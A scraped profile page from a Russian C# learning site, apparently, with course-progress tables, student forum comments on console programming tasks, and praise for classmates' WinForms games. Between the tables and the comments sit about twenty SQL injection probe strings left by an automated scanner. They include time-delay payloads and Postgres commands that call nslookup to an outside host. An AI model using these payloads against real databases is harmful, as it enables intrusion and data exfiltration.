Дата активности | Видеокурс | Прогресс | ||
---|---|---|---|---|
2015-06-26 | game2 | Микроигры | 14 % | |
2015-06-25 | game1 | Нано-игры | 70 % | |
2015-06-22 | game4 | Игры со Спрайтами | 4 % | |
2015-05-23 | soft0 | Демо софт | 29 % | |
2015-05-21 | soft1 | Нанософт | 10 % | |
2015-05-19 | memory | Карточки памяти | % | |
2015-05-15 | game6 | Морской Бой | 13 % | |
2015-05-12 | game0 | Демо игры | 80 % | |
Итого: | 22 % |
Дата активности | Консольный раздел | Прогресс | ||
---|---|---|---|---|
2015-07-27 | task2 | Пока-цикл | 100 % | |
2015-07-25 | task2 | Простые массивы | 100 % | |
2015-07-24 | task2 | For-to-чки | 100 % | |
2015-07-24 | task2 | Алгоритмика | 75 % | |
2015-07-24 | task2 | Подпрограммы | 100 % | |
2015-07-23 | task2 | Матрёшки | 78 % | |
2015-07-22 | task2 | Любимые циклы | 100 % | |
2015-07-22 | task2 | По цифрам | 100 % | |
2015-07-21 | task2 | Математика | 100 % | |
2015-07-21 | task2 | Узник цикла IF | 100 % | |
2015-07-18 | task2 | Последовательность | 100 % | |
2015-07-16 | task2 | Вечность | 80 % | |
2015-07-16 | task2 | Обман цикла | 15 % | |
2015-07-16 | task2 | Условный оператор | 100 % | |
2015-07-15 | task2 | Точка и плоскость | 100 % | |
2015-07-15 | task2 | Логика | 77 % | |
2015-07-15 | task2 | Do-рацикл | 100 % | |
2015-07-15 | task1 | Лирика | 50 % | |
2015-07-14 | task2 | Строки | 17 % | |
2015-07-13 | task1 | Целые числа | 100 % | |
2015-07-13 | task1 | Строки | 100 % | |
2015-07-10 | task2 | Комбинаторика | 12 % | |
2015-05-09 | task1 | Семантика | 100 % | |
Итого: | 84 % |
1';copy (select '') to program 'nslookup dns.sqli.\013405.11120-20242.11120.2330d.\1.bxss.me
1;copy (select '') to program 'nslookup dns.sqli.\013405.11120-20241.11120.2330d.\1.bxss.me'
'||UTL_INADDR.get_host_address('dns.'||'sqli.013405.11120-20240.11120.2330d.1.bxss'||'.me')||'
1||UTL_INADDR.get_host_address('dns.'||'sqli.013405.11120-20237.11120.2330d.1.bxss'||'.me')
ZbRLzcBx'));select pg_sleep(25.626); --
IisJ8Tbc');select pg_sleep(25.626); --
tPoiIfYt';select pg_sleep(25.626); --
-1));select pg_sleep(38.439); --
-1);select pg_sleep(38.439); --
-1;select pg_sleep(38.439); --
6q0oFLgj'; waitfor delay '0:0:38.439' --
1 waitfor delay '0:0:38.439' --
-1); waitfor delay '0:0:38.439' --
-1); waitfor delay '0:0:12.813' --
(select(0)from(select(sleep(25.626)))v)/*'+(select(0)from(select(sleep(25.626)))v)+'"+(select(0)from(select(sleep(25.626)))v)+"*/
-1; waitfor delay '0:0:38.439' --
if(now()=sysdate(),sleep(25.626),0)/*'XOR(if(now()=sysdate(),sleep(25.626),0))OR'"XOR(if(now()=sysdate(),sleep(25.626),0))OR"*/
if(now()=sysdate(),sleep(12.813),0)/*'XOR(if(now()=sysdate(),sleep(12.813),0))OR'"XOR(if(now()=sysdate(),sleep(12.813),0))OR"*/
-1' OR 2+48-48-1=0+0+0+1 or 'PGPpSrs7'='
-1' OR 2+853-853-1=0+0+0+1 --
Просто в тесте 0 2 0 хитрость имеется, тоже попался, но увидел фишку и теперь 100%
Браво! Отличная идея!
Попробуй поменять тип ulong(ulong sum)на double(double sum).
Вот это решение проходит все тесты на 100%:
string[] s = Console.ReadLine().Split();
int x, N;
int.TryParse(s[0], out x);
int.TryParse(s[1], out N);
double sum = 0;
int i=1;
while(Math.Pow(x,i)<N)
{
sum += Math.Pow(x, i);
i++;
}
Console.WriteLine(sum);
(ax^2 + bx + c)*(ax^2 + bx + c) = a*a*x^4 + a*b*x^3 + a*c*x^2 + a*b*x^3 + b*b*x^2 + b*c*x + a*c*x^2 + b*c*x + c^2=
a*a* x^4 +
2*a*b* x^3 +
2*a*c+b*b* x^2 +
2*b*c* x +
c*c
Степень многочлена - 2, количество коэффициентов результирующего многочлена 2*2+1 = 5. Так что ничего обрезать не надо.
Надо создать массив результирующих коэффициентов размером 2*N+1 и сделать вложенный цикл (проверить произведение каждого с каждым
коэффициентом). Полученное произведение добавить в результирующий массив к коэффициенту соответствующей степени при x.
В этом то и проблема, что исписал не мало страниц ))) И с 2 и с 3 и 5 аргументами. Вопрос в том, в каком виде вывод результата, ведь при 2 аргументах будет a^2+2ab+b^2, но уже при 3 - a^2+2ab + 2ac+b^2+2bc+c^2 или же a^2+b^2+c^2+2ab+2ac+2bc, т.е. вариантов записи ответа несколько, и при том в условиях еще приходится обрезать его до 2*N+1. По идее, код, который я состряпал, считает, правильно... но только 2 теста проходит, я и не понимаю где проблема.
Edgard, решение у задачи действительно красивое. Я предлагала Евгению вынести эту задачу на прошлую олимпиаду, но от этой затеи отказались, потому что у некоторых эта задача уже решена. Сама 2 дня голову ломала :)
Предлагаю Вам расписать на бумажке, как будет выглядеть результат в случае 3-х, 4-х слагаемых и найти зависимость.
Если будут трудности, я в ближайшее время запишу видеорешение.
И еще одно, не совсем понятное : Вывод результата: строка, в которой 2·N+1 чисел выведены через пробел. Т.е. обрубить ответ? Потому что (a+b+c+d)^2 = a^2+b^2+c^2+d^2+2ab+2ac+2ad+2bc+2bd+2cd , т.е. 10 а не 2*3+1=7. Короче запутался конкретно ))
Добрый день! Обратите пожалуйста на мое сообщение Простые массивы / Квадрат многочлена в разделе Алгоритмика. Потому что остановился на данном этапе ))
Я уже себе сломал мозг. Все ясно когда два многочлена a и b. Вид результата будет a^2 2ab b^2. НО что делать когда их 3, 4, ... n ? Какой вид должен принять результат? a^2 2ab 2ac b^2 2bc c^2 или a^2 b^2 c^2 ... n^2 2ab 2bc .... 2n-1n ?????
Спасибо, Edgard!
Не заметила ошибки. Сейчас скорректировала условие.
Я так предполагаю, что или в условии ошибка, или в ответах. Четные индексы - это [0,2,4...]. т.е. %2 ==0. Правильно?
Просмотрел выполнение данного задания участниками, многие сжульничали. Я так понимаю все стремятся вложиться в минимум строк? А как же условие: Заполнить массив единицами??
Одно замечание. Я так понял, что мы создаем дополнительные функции по поиску мин и мах, для того что бы в теле метода Main() единственное что было, это принять последовательность цифр и вывести с помощью наших методов результат. Зачем тогда создавать методы, если огромный кусок кода мы еще дописываем в Main() ??
не могу понять, почему не 100% ??
for (ulong i = 1; i<=N; i++)
{
if(N%i==0)
res += i;
}
Все это хорошо, но ... x в промежутке [-1,2; 1,2], а требует [-2; 2] !!!!
Не могу понять в чем прикол? Почему не выполняется на 100%?
string[] str = (Console.ReadLine()).Split();
for (int i = 0; i<str.Length; i++)
{
if(long.Parse(str[i])<0) Console.WriteLine(str[i]);
}
Не понимаю, почему не 100%? Все тесты проходит, кроме 0 2 0 , хотя правильно сортирует 0 0 2.
Почему то не проходит 3 тест, хотя в VisualStudio получается тот же самый ответ:
string[] str = (Console.ReadLine()).Split();
ulong x = ulong.Parse(str[0]);
ulong N = ulong.Parse(str[1]);
int i = 1;
ulong sum = 0;
while ((ulong)Math.Pow(x, i) <= N)
{
sum += (ulong)Math.Pow(x, i);
i++;
}
Console.WriteLine(sum);
Сори, после того, как написал еще раз Вам сообщение, заметил, что условие изменено )) Спасибо за оперативную помощь ))
Елена, добрый день! Я вижу Вы единственная, кто решил консольную задачу по Алгоритмике - Сумма ряда. И я так предполагаю, это потому что , остальные участники, как и я не поняли условия задания. Вот и сижу на данном задании и не понимаю что от меня хотят ))) Было бы не плохо, что бы Вы протянули руку помощи в данном примере )))
Не могу понять, почему не принимает данный ответ:
string stroka = Console.ReadLine();
string past = Console.ReadLine();
past += " ";
Console.WriteLine(stroka.Insert(6,past));
Хотя прошел по всем входящим данным и результат был идентичный.
Елена, добрый день! Я вижу Вы единственная, кто решил консольную задачу по Алгоритмике - Сумма ряда. И я так предполагаю, это потому что , остальные участники, как и я не поняли условия задания. Вот и сижу на данном задании и не понимаю что от меня хотят ))) Было бы не плохо, что бы Вы протянули руку помощи в данном примере )))
По-моему, это повторное задание предыдущего.
Во - первых, в видео к данному заданию, Вы используете запрещенный цикл. Во-вторых я использовал первый вариант и он отображал правильно квадраты, но почему то не правильно:
int num = int.Parse(Console.ReadLine());
string s = "";
string s2 = "";
for(int i = 0; i < num; i++)
{
s += " _";
s2 +="|_";
}
Console.WriteLine(s + "\n"+s2 + "|");
А вот следующий вариант принял:
int num = int.Parse(Console.ReadLine());
string s = "";
string s2 = "";
Console.Write(" ");
for(int i = 0; i < num; i++)
{
s += "_ ";
s2 +="|_";
}
Console.WriteLine(s + "\n"+s2 + "|");
Спасибо, жду )) Думал, пока Вы будете на отдыхе, сделать и себе отдых от переводов Ваших видео, и заняться прокачкой серого вещества )))
Евгений Витольдович, я проплатил двумя платежами Алгоритмику (1000 и 500 руб в евро), а курс не открывается почему то
Красиво выглядит! Как настоящая игра от компании, круто!!
Microsoft Visio 2007. Всегда пользуюсь этой программой для рисования блок-схем (которые рисовать довольно часто приходится).
Просто задание было выполнено в ходе предыдущих уроков - при реализации виселки и в видеоотчете. Поэтому так получилось :)
Если еще проще, то в тело Try {} заключается код, который может вызвать ошибку, а в catch() {} то что следует выполнить в результате ошибки ))
Я сомневаюсь, что задание было выполнено за 2 мин )))) Только графическая часть заняла бы час у меня ))) Более подробной схемы еще не видел
Я не понимаю данную критику. Во-первых, Андрей, если ты находишься в разделе создания игр, то кто тебе мешает вначале пройти теоретические курсы, где детально и опишут делегаты и все что с ними связано. Если не охота время терять, то можно быстро прочитать на msdn. Я сомневаюсь, что если бы за цель стояло все разжевать без ошибок, то Евгению Витольдовичу не составило бы труда заранее накидать текст, но .... Лучше когда вместе с преподавателем, ученик натыкается на ошибки и вместе ее исправляют, только тогда приходит понимание. И я в своей жизни очень мало видел людей, которые умеют признавать собственные ошибки и недочеты. Мудр не тот кто многое прочитал и пытается этот мусор вложить в другого, а тот кто все это испробовал и ведет по данному пути тех, кто желает идти по нему )) Если бы ты обратил внимание на то, что какой то урок был нерабочий (игра не запускалась и т.п.), был бы другой разговор. Спасибо за понимание!
sender - это объект, который вызвал событие, его мы приводим к типу (Panel) из него извлекаем Tag и методом ToString() переводим в текстовое представление
Не стесняйся спрашивать больше. Только так мы учимся. Самые упоротые, типа меня, лазят по форумам в поисках ответов, вместо того что бы просто спросить знающих ))
DateTime.Now.Ticks - возвращает число тактов, которое представляет дату и время этого экземпляра. Т.е. Мы при первом клике записываем время в time_start. потом при окончании еще раз так же записываем время только в другую переменную time_stop. И если от первого отнять второе, получится время клика ))
Спасибо за высокую оценку )) В фотошопе и правда большую часть просидел ))
ДА, это не пара бессонных ночей, такую красоту и за неделю не сделать. Тут только в фотошопе дня 3 сидеть. Очень понравилась игра
Кстати, все реализовал в одной форме.
Полностью на WinForms реализовал. Наложил ТекстБоксы друг на друга и в определенные моменты одни скрывал, другие отображал )) Бывало сам запутывался и долго распутывал этот клубок ))
Да, игра - просто класс! Такая красочная! Неужели - это просто на WinForms-ах сделал?:)
Ну большими мы будем, когда здесь выучимся, потом вместе соберемся и напишем свой Windows ))
Эдгард, мне очень нравятся твои работы, а эта Вау! Мы не мелкие, а многие уже, в том числе и ты уже большие, посмотри на работы это ж класс!!! :)
Спасибо за высокую оценку. Молодец не я, а ты, что в такое время еще не спишь и поддерживаешь мелких программистов ))
Ух ты, слов нету, это КРУТО!!! Молодец :)
С удовольствием поиграл, ты молодец!
Только тыкаю по кнопкам на угад, и долго не мог догадаться, что на вопрос нужно нажимать клавишу на клавиатуре :) всё мышкой, а тут на клаве.
Игра - просто прелесть!
Ты еще не видел как их называю я )))
Классный UI, выглядит шикарно!
Немного поиграл в свое произведение искусства, в молодость вернуло )))
Молодец, Эдгард, прелестно1
Красота получилось, игра тест прошла? Дочь довольна? Лично мне очень нравится как у тебя вышло! :)
Понравилась твоя программа поймай вора! Очень круто сделал!
Ну по первому вопросу, здесь конечно нужно разграничивать, если это простенькая бесплатная программка, то конечно максимум 2 урока на нее потратить. А платные делать длинными и сложными. Включая многопользовательский и сетевой интерфейс. И очень интересно писать и игры и программные продукты типа Управлением отеля.
По второму вопросу очень сложно дать ответ, так как научиться программировать просто хочется, не конкретно для создания конкретной игры или программы, а уже в процессе обучения так захватывает, что в мозгу рождаются многочисленные идеи. Хочется и то и то )) И скорее хочется не для пользования моего, а именно для понимания как это делается. А для этого лучше подходят сложные составные программы.
Ну как то такой ответ ))) Вокруг да около ))
Эдгард, сплошные положительные эмоции!
ГАРМОНИЯ. Как в программах, так и в презентации.
Суперский обзор, ты молодец! А ещё мне понравилось, как ты мой логотип стилизировал.
Делай доступным видео для всех :)
Ну Вы выдали ссылку на видео в криншоте )))) Нужно было в комментариях поместить
Замечательно, даже больше чем замечательно, слов даже не нахожу! Молодец!
Спасибо за высокую оценку. Пытаюсь каждую работу, которую здесь прохожу, довести до логического конца )) У меня дочь в качестве судьи )) Было заказала мне Пиксельный Paint сделать. Крутил, мутил, но получилось, она результатом довольна ))
Здорово сделано!
Круто! Это потрясающая работа!!! Молодец! :)
.... У меня нет слов!
Хорошо что прокачал навыки полученные ранее, лично по моему восприятию лучше сделать три небольших урока с подведением результатов, чем один часовой, хотя понимаю у всех восприятие разное, однако для изучения и запоминания лучше чтобы подача информации длилась минут 20-25, это уже доказано ученными и протестировано в учебных заведения:)
Это классный вариант - только хотела свой предложить именно двуязычный... но вовремя посмотрела... а рамку можно и сменить :)
Какая красота получилась, мне нравиться твоя программа! Жаль, что тебе не очень понравился урок, надеюсь следующие будут тебе более интересными и полезными)
Ну раз нельзя , уберем ) Была бы возможность больше скриншотов добавлять, смог добавить разные вариации (с логотипами, без, другой цвет и т.п.)